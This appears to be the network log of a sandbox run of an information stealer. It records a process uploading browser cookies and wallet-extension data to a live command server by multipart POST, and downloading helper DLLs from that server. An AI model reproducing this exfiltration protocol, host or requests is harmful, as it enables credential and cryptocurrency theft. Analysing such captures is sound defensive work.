Nov 20, 2024 14:43:12.001905918 CET	1164	IN	Data Raw: 56 32 46 73 62 47 56 30 66 47 68 6c 5a 57 5a 76 61 47 46 6d 5a 6d 39 74 61 32 74 72 63 47 68 75 62 48 42 76 61 47 64 73 62 6d 64 74 59 6d 4e 6a 62 47 68 70 66 44 46 38 4d 48 77 77 66 46 68 32 5a 58 4a 7a 5a 53 42 58 59 57 78 73 5a 58 52 38 61 57 Data Ascii: V2FsbGV0fGhlZWZvaGFmZm9ta2trcGhubHBvaGdsbmdtYmNjbGhpfDF8MHwwfFh2ZXJzZSBXYWxsZXR8aWRubmJkcGxtcGhwZmxmbmxrb21ncGZicGNnZWxvcGd8MXwwfDB8Q29tcGFzcyBXYWxsZXQgZm9yIFNlaXxhbm9rZ21waG5jcGVra2hjbG1pbmdwaW1qbWNvb2lmYnwxfDB8MHxIQVZBSCBXYWxsZXR8Y25uY21kaGp
Nov 20, 2024 14:43:12.003547907 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGIJDAFCFHIEHJJKEHJK Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 47 49 4a 44 41 46 43 46 48 49 45 48 4a 4a 4b 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 30 32 31 38 39 61 33 34 32 36 33 32 35 35 63 38 61 37 37 66 33 62 36 66 61 65 36 63 65 34 63 39 35 63 36 61 33 63 64 66 33 31 37 36 30 66 36 35 64 64 62 37 31 34 31 37 63 38 30 61 32 61 37 30 65 38 66 37 66 37 61 0d 0a 2d 2d 2d 2d 2d 2d 44 47 49 4a 44 41 46 43 46 48 49 45 48 4a 4a 4b 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 44 47 49 4a 44 41 46 43 46 48 49 45 48 4a 4a 4b 45 48 4a 4b 2d 2d 0d 0a Data Ascii: ------DGIJDAFCFHIEHJJKEHJKContent-Disposition: form-data; name="token"d02189a34263255c8a77f3b6fae6ce4c95c6a3cdf31760f65ddb71417c80a2a70e8f7f7a------DGIJDAFCFHIEHJJKEHJKContent-Disposition: form-data; name="message"fplugins------DGIJDAFCFHIEHJJKEHJK--
Nov 20, 2024 14:43:12.473165989 CET	335	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:12 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 20, 2024 14:43:12.499090910 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GDHDAEBGCAAFIDGCGDHI Host: 185.215.113.206 Content-Length: 6043 Connection: Keep-Alive Cache-Control: no-cache
Nov 20, 2024 14:43:12.499145985 CET	6043	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 47 44 48 44 41 45 42 47 43 41 41 46 49 44 47 43 47 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 30 32 31 38 39 Data Ascii: ------GDHDAEBGCAAFIDGCGDHIContent-Disposition: form-data; name="token"d02189a34263255c8a77f3b6fae6ce4c95c6a3cdf31760f65ddb71417c80a2a70e8f7f7a------GDHDAEBGCAAFIDGCGDHIContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Nov 20, 2024 14:43:13.664114952 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:12 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 20, 2024 14:43:14.041773081 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 20, 2024 14:43:14.512254000 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:14 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Nov 20, 2024 14:43:14.512309074 CET	124	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Nov 20, 2024 14:43:14.514600992 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 14:43:14.514681101 CET	1236	IN	Data Raw: 24 08 89 5c 24 04 89 34 24 e8 ac f6 0a 00 83 ec 0c 85 c0 89 c5 75 23 83 fb 01 75 a1 89 7c 24 08 c7 44 24 04 00 00 00 00 89 34 24 e8 ea fc ff ff 83 ec 0c eb 8a 90 8d 74 26 00 83 fb 01 75 70 e8 c6 e4 0a 00 89 7c 24 08 c7 44 24 04 01 00 00 00 89 34 Data Ascii: $\$4$u#u\|$D$4$t&up\|$D$4$rZ\|$D$4$Q\|$D$4$*\|$D$4$s\|$D$4$'aT$$tL$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49759	185.215.113.206	80	380	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 14:43:24.117202997 CET	629	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BFHDAEHDAKECGCAKFCFI Host: 185.215.113.206 Content-Length: 427 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 46 48 44 41 45 48 44 41 4b 45 43 47 43 41 4b 46 43 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 30 32 31 38 39 61 33 34 32 36 33 32 35 35 63 38 61 37 37 66 33 62 36 66 61 65 36 63 65 34 63 39 35 63 36 61 33 63 64 66 33 31 37 36 30 66 36 35 64 64 62 37 31 34 31 37 63 38 30 61 32 61 37 30 65 38 66 37 66 37 61 0d 0a 2d 2d 2d 2d 2d 2d 42 46 48 44 41 45 48 44 41 4b 45 43 47 43 41 4b 46 43 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 42 46 48 44 41 45 48 44 41 4b 45 43 47 43 41 4b 46 43 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------BFHDAEHDAKECGCAKFCFIContent-Disposition: form-data; name="token"d02189a34263255c8a77f3b6fae6ce4c95c6a3cdf31760f65ddb71417c80a2a70e8f7f7a------BFHDAEHDAKECGCAKFCFIContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------BFHDAEHDAKECGCAKFCFIContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------BFHDAEHDAKECGCAKFCFI--
Nov 20, 2024 14:43:26.097023964 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:25 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 20, 2024 14:43:26.190861940 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBAAFIDGDAAAAAAAAKEB Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 42 41 41 46 49 44 47 44 41 41 41 41 41 41 41 41 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 30 32 31 38 39 61 33 34 32 36 33 32 35 35 63 38 61 37 37 66 33 62 36 66 61 65 36 63 65 34 63 39 35 63 36 61 33 63 64 66 33 31 37 36 30 66 36 35 64 64 62 37 31 34 31 37 63 38 30 61 32 61 37 30 65 38 66 37 66 37 61 0d 0a 2d 2d 2d 2d 2d 2d 44 42 41 41 46 49 44 47 44 41 41 41 41 41 41 41 41 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 42 41 41 46 49 44 47 44 41 41 41 41 41 41 41 41 4b 45 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------DBAAFIDGDAAAAAAAAKEBContent-Disposition: form-data; name="token"d02189a34263255c8a77f3b6fae6ce4c95c6a3cdf31760f65ddb71417c80a2a70e8f7f7a------DBAAFIDGDAAAAAAAAKEBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------DBAAFIDGDAAAAAAAAKEBContent-Disposition: form-data; name="file"------DBAAFIDGDAAAAAAAAKEB--
Nov 20, 2024 14:43:27.195914984 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:26 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49800	185.215.113.206	80	380	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 14:43:33.787159920 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKJDGDHIDBGIECBGHJDB Host: 185.215.113.206 Content-Length: 3087 Connection: Keep-Alive Cache-Control: no-cache
Nov 20, 2024 14:43:33.787214041 CET	3087	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4b 4b 4a 44 47 44 48 49 44 42 47 49 45 43 42 47 48 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 30 32 31 38 39 Data Ascii: ------KKJDGDHIDBGIECBGHJDBContent-Disposition: form-data; name="token"d02189a34263255c8a77f3b6fae6ce4c95c6a3cdf31760f65ddb71417c80a2a70e8f7f7a------KKJDGDHIDBGIECBGHJDBContent-Disposition: form-data; name="file_name"Y29va2llc1xNa
Nov 20, 2024 14:43:35.732912064 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:34 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 20, 2024 14:43:36.336990118 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJEGCBGIDHCAKEBGIIDB Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 45 47 43 42 47 49 44 48 43 41 4b 45 42 47 49 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 30 32 31 38 39 61 33 34 32 36 33 32 35 35 63 38 61 37 37 66 33 62 36 66 61 65 36 63 65 34 63 39 35 63 36 61 33 63 64 66 33 31 37 36 30 66 36 35 64 64 62 37 31 34 31 37 63 38 30 61 32 61 37 30 65 38 66 37 66 37 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 47 43 42 47 49 44 48 43 41 4b 45 42 47 49 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 47 43 42 47 49 44 48 43 41 4b 45 42 47 49 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------JJEGCBGIDHCAKEBGIIDBContent-Disposition: form-data; name="token"d02189a34263255c8a77f3b6fae6ce4c95c6a3cdf31760f65ddb71417c80a2a70e8f7f7a------JJEGCBGIDHCAKEBGIIDBContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------JJEGCBGIDHCAKEBGIIDBContent-Disposition: form-data; name="file"------JJEGCBGIDHCAKEBGIIDB--
Nov 20, 2024 14:43:37.329466105 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:36 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 20, 2024 14:43:38.015722990 CET	94	OUT	GET /68b591d6548ec281/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 20, 2024 14:43:38.471745014 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:38 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Nov 20, 2024 14:43:38.471761942 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVEtu}UMt"0(h&40jVjjRQP?^_]USWVhO?t0
Nov 20, 2024 14:43:38.471771955 CET	1236	IN	Data Raw: 55 07 08 00 83 c4 08 eb ce cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 e4 f8 83 ec 58 89 4c 24 2c 8b 7d 1c a1 b4 30 0a 10 31 e8 89 44 24 50 c7 44 24 3c 10 00 00 00 83 ff 18 72 19 89 f8 83 e0 07 75 12 8d 47 f8 3b 45 14 76 14 68 03 e0 ff Data Ascii: UUSWVXL$,}01D$PD$<ruG;Evhh\|$,}uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$
Nov 20, 2024 14:43:38.471877098 CET	672	IN	Data Raw: 55 89 e5 53 57 56 83 ec 24 8b 4d 1c 8b 75 0c a1 b4 30 0a 10 31 e8 89 45 f0 8b 7d 08 8d 59 f8 83 f9 10 75 32 8d 45 dc 8d 4d e0 6a 10 ff 75 18 6a 10 50 51 57 e8 f7 93 06 00 83 c4 18 89 c7 8d 75 e8 83 45 dc f8 c7 45 d8 00 00 00 00 85 ff 0f 85 b4 01 Data Ascii: USWV$Mu01E}Yu2EMjujPQWuEEC1;]vS{EE1uuSPVEPo9]SUYY)ZYEME]M)19D
Nov 20, 2024 14:43:38.471889019 CET	1236	IN	Data Raw: c7 47 08 00 00 00 00 89 47 04 8b 48 04 ff 15 00 80 0a 10 ff d1 89 07 be ff ff ff ff 85 c0 74 49 8b 55 10 89 f9 ff 75 18 ff 75 14 e8 40 00 00 00 83 c4 08 85 c0 74 30 8b 1f 85 db 74 2c 8b 47 04 8b 48 0c ff 15 00 80 0a 10 6a 01 53 ff d1 83 c4 08 eb Data Ascii: GGHtIUuu@t0t,GHjShv1^_[]USWVLU01E}Yt9vhC9Us[KSFHuWSFHE}j@PWS
Nov 20, 2024 14:43:38.471900940 CET	1236	IN	Data Raw: 57 56 8b 75 0c 8b 7d 10 8b 45 08 8b 18 8b 40 04 8b 48 14 ff 15 00 80 0a 10 57 56 53 ff d1 83 c4 0c 5e 5f 5b 5d c3 cc cc cc cc cc cc 55 89 e5 53 57 56 50 8b 4d 14 8b 7d 08 8b 47 04 39 08 76 17 68 05 e0 ff ff e8 b5 fa 07 00 83 c4 04 b8 ff ff ff ff Data Ascii: WVu}E@HWVS^_[]USWVPM}G9vhuHuVuSO;upISEGHpVSu7GHES]SV7GHuuSV1
Nov 20, 2024 14:43:38.471914053 CET	1236	IN	Data Raw: 56 ff 75 18 50 ff 75 10 e8 0b 00 00 00 83 c4 10 5e 5d c3 cc cc cc cc cc 55 89 e5 53 57 56 83 ec 34 89 4d f0 8b 45 14 89 45 d8 39 45 0c 73 17 68 03 e0 ff ff e8 f2 f5 07 00 83 c4 04 b8 ff ff ff ff e9 79 08 00 00 89 55 e4 8b 7d 10 8b 5d 08 8b 45 f0 Data Ascii: VuPu^]USWV4MEE9EshyU}]E}}aM}$7$7u2M$E}$7$7u]S2MQE}
Nov 20, 2024 14:43:38.471926928 CET	1236	IN	Data Raw: e8 66 0f 70 d2 e8 66 0f 62 ca 66 0f 6e 54 07 04 66 0f 60 d3 66 0f 61 d3 66 0f eb cf 66 0f 72 f4 17 66 0f fe e5 f3 0f 5b e4 66 0f 70 ea f5 66 0f f4 d4 66 0f 70 e4 f5 66 0f f4 e5 66 0f 70 d2 e8 66 0f 70 e4 e8 66 0f 62 d4 66 0f eb d6 83 c6 10 66 0f Data Ascii: fpfbfnTf`faffrf[fpffpffpfpfbff!~sMEMEUxEUMfEMUTFtFMUEM)ffo 1ffo f
Nov 20, 2024 14:43:38.480412006 CET	1236	IN	Data Raw: 55 f0 0f b6 04 02 c1 e0 10 09 c8 8b 4d e8 8b 55 ec 01 d1 83 c1 04 0f b6 c9 8b 55 f0 0f b6 14 0a 00 d3 0f b6 f3 8b 7d f0 8a 34 37 8b 7d f0 88 34 0f 8b 4d f0 88 14 31 8b 75 d8 00 d6 0f b6 ce 8b 55 f0 0f b6 14 0a c1 e2 18 09 c2 33 55 e0 8b 4d c4 8b Data Ascii: UMUU}47}4M1uU3UMEM}}Eu;uUM}Et}EPEE},7,7E@2
Nov 20, 2024 14:43:38.480540037 CET	1236	IN	Data Raw: f0 fe ff ff 8b 5d e4 11 d3 03 85 5c ff ff ff 89 45 d0 11 f3 89 5d e4 31 d9 8b 95 64 ff ff ff 31 c2 89 d0 0f a4 c8 10 0f ac ca 10 89 95 64 ff ff ff 8b 4d c4 01 d1 89 4d c4 11 c7 89 c3 89 7d bc 31 fe 8b 85 5c ff ff ff 31 c8 89 f1 0f a4 c1 01 89 4d Data Ascii: ]\E]1d1dMM}1\1M\tH@uHD4U`uU1]d1dMMMUU1u1tpH8}pLE]
Nov 20, 2024 14:43:39.980581045 CET	94	OUT	GET /68b591d6548ec281/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 20, 2024 14:43:40.437074900 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:40 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Nov 20, 2024 14:43:41.406559944 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 20, 2024 14:43:41.870309114 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 13:43:41 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 